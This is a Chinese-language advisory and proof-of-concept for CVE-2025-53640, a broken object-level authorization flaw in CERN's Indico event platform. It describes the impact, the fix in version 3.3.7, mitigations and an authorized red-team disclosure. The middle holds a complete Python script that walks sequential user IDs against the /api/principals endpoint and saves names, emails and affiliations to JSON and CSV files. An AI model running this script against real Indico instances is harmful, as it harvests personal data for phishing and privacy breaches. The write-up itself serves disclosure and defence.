
CERN的Indico中存在的破坏对象级授权(BOLA)漏洞导致认证用户枚举。
CVE-2025-53640 的 PoC 和技术分析:Indico 中存在一个对象级授权失效(BOLA)漏洞,可通过端点枚举已认证用户,泄露姓名、电子邮件和所属机构。包含利用脚本、请求分析和截图。影响全球部署的 Indico 实例(欧洲核子研究中心(CERN)、联合国(UN)、麻省理工学院(MIT)、欧洲航天局(ESA)等)。
开源应用程序 Indico 中存在一个对象级授权失效(BOLA)漏洞,允许通过端点批量枚举用户。
该端点本意是解析特定表单字段中的用户 ID,但却可被滥用来检索 任意有效用户 ID 的个人详细信息:
全名
电子邮件地址
头衔
所属机构
头像 URL
该漏洞已由 Indico 维护者报告并确认,官方跟踪编号为 CVE-2025-53640
需要有效的认证会话。
然而,大多数公开 Indico 实例允许自行注册,且无需电子邮件验证、验证码或手动审批。
这使得该漏洞在创建普通账户后,实际上可被未经认证的用户利用。
Indico 是由欧洲核子研究中心(CERN)开发的广泛采用的活动与会议管理平台,为全球学术和机构基础设施提供支持:
CERN(欧洲核子研究中心): 每年超过 90 万场活动;每天预订 200 多个会议室。
全球范围: 每年约 14.5 万场活动,覆盖 300 多家机构。
联合国(UN): 每年超过 18 万名参与者。
联合国日内瓦办事处(UNOG): 每年多达 70 万名用户。
广泛用于大学、实验室、研究机构和政府机构。
受影响公共实例示例:
由于其在 科研、学术和政府 环境中的广泛采用,该漏洞带来了严重风险:
研究人员、工作人员和管理人员的身份泄露
大规模隐私泄露和机构目录曝光
针对钓鱼或社会工程学攻击的有针对性的侦察
可能导致敏感研究及政策倡议的泄露
个人信息(PII)泄露
高权限用户(管理员、组织者)枚举
支持大规模钓鱼和鱼叉式钓鱼攻击
违反 GDPR、LGPD 等法规及内部机构政策
根据司法管辖区域,可能构成须报告的数据泄露事件
该问题已在 Indico v3.3.7 中修复。
根据维护者的说明,已调整端点的行为,防止通过可预测的 ID 批量转储用户数据(姓名、所属机构和电子邮件)。此外还引入了一个新的配置标志 ALLOW_PUBLIC_USER_SEARCH。
其他缓解措施包括:
限制注册邮箱检查
当公开搜索被禁用时,禁用人员链接解析
在受限搜索条件下,为没有 ACL 的事件添加 UI 警告
#!/usr/bin/env python3
import requests
import json
import csv
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "https://indico.<URL>/api/principals"
headers = {
"Cookie": "indico_session=YOUR_SESSION_COOKIE_HERE",
"Content-Type": "application/json",
"X-Csrf-Token": "YOUR_CSRF_TOKEN_HERE"
}
def enumerate_users(max_errors=10):
user_id = 1
errors = 0
results = []
while errors < max_errors:
payload = {"values": [f"User:{user_id}"]}
response = requests.post(url, headers=headers, data=json.dumps(payload), verify=False)
if response.status_code == 200:
data = response.json()
key = f"User:{user_id}"
if key in data and not data[key].get("invalid", True):
user = data[key]
print(f"[+] ID {user_id}: {user['first_name']} {user['last_name']} - {user['email']}")
results.append({
"user_id": user_id,
"name": f"{user['first_name']} {user['last_name']}",
"email": user["email"],
"affiliation": user["affiliation"],
"title": user["title"],
"avatar_url": user["avatar_url"]
})
errors = 0
else:
print(f"[-] ID {user_id}: Invalid")
errors += 1
else:
print(f"[!] ID {user_id}: HTTP Error {response.status_code}")
errors += 1
user_id += 1
with open("enumerated_users.json", "w", encoding="utf-8") as jf:
json.dump(results, jf, indent=2, ensure_ascii=False)
with open("enumerated_users.csv", "w", newline="", encoding="utf-8") as cf:
writer = csv.DictWriter(cf, fieldnames=["user_id", "name", "email", "affiliation", "title", "avatar_url"])
writer.writeheader()
writer.writerows(results)
print("Enumeration finished.")
if __name__ == "__main__":
enumerate_users()
根据角色或上下文限制对端点的访问
在 indico.conf 中设置 ALLOW_PUBLIC_USER_SEARCH = false
限制暴露的用户字段,仅保留必要信息
禁用或限制自行注册(例如,电子邮件验证、管理员审批)
对端点启用监控和速率限制
立即升级至 Indico 3.3.7 或更高版本
监控访问日志中的枚举模式
官方编号:CVE-2025-53640
该漏洞是在 RNP(巴西国家教育研究网络)红队驻留项目 期间进行安全评估时发现的。
所有研究和测试均在事先授权和监督下进行。特别感谢 RNP 安全团队 提供道德指导与基础设施支持。
此 CVE 强调了在管理敏感机构数据的平台上强制执行严格的对象级访问控制的重要性。